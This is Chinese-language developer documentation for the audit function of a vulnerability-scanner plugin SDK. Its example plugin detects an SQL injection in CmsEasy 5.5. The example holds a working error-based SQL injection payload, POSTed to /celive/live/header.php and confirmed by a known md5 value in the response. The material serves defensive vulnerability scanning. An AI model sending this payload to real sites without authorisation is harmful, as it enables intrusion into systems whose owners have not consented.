• audit
    • 参数
    • 返回值
    • 范例

    audit

    审计函数，该方法为插件继 assign 函数后被调用的函数，在 assign 中判断当前扫描服务与该插件对应的服务相等后，便会调用该插件的 audit 函数。插件中必须声明此方法。如果插件中逻辑较为复杂，开发者可自行封装方法，并在 audit 中调用执行即可。

    1. audit(arg)

    参数

    • arg

      该插件所对应的 Service 共同约定的参数，一般为一个经过过滤的链接，具体参数格式可参考 assign 函数中 arg 参数。

    返回值

    无。如果检测到存在漏洞，则直接使用 security_info 等报告方法直接输出漏洞报告。

    范例

    以下为 CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞 的扫描插件。该漏洞为报错注入，如果 Payload 执行成功，则会在返回页面中显示执行成功的 md5(233) 的值。

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. # __author__ = 'Medici.Yan'
    4. # 引入需要用到的标准库
    5. import urllib
    7. # assign 验证任务的指纹
    8. def assign(service, arg):
    9.     if service == fingerprint.cmseasy: # 指纹为 cmseasy
    10.         return True, arg  # 返回类型为 tuple
    12. # audit 审计函数，通过指纹验证后调用该函数
    13. def audit(arg):
    14.     # 此插件中 arg 为提交的网址
    15.     # 构造要提交数据的目标 URL
    16.     target = arg + '/celive/live/header.php'
    17.     # 此漏洞要发送的 POST 数据(Payload)
    18.     post_data = {
    19.         'xajax': 'LiveMessage',
    20.         'xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat("
    21.                               "floor(rand(0)*2),(select md5(233)))a from "
    22.                               "information_schema.tables group by a)b),"
    23.                               "'','','','1','127.0.0.1','2') #"
    24.     }
    25.     # 通过 hackhttp 发送 Payload 到目标
    26.     code, head, body, errcode, redirect_url = hackhttp.http(
    27.         target, post=urllib.urlencode(post_data))
    28.     # 验证是否存在漏洞
    29.     if 'e165421110ba03099a1c0393373c5b43' in body:
    30.         # 存在漏洞则输出目标 URL
    31.         security_hole(target)
    33. # 本地测试时需要加 main 用于调用
    34. if __name__ == '__main__':
    35.     # 导入 sdk
    36.     from dummy import *
    37.     # 调用 audit 与 assign
    38.     audit(assign(fingerprint.cmseasy, 'http://localhost/cmseasy/')[1])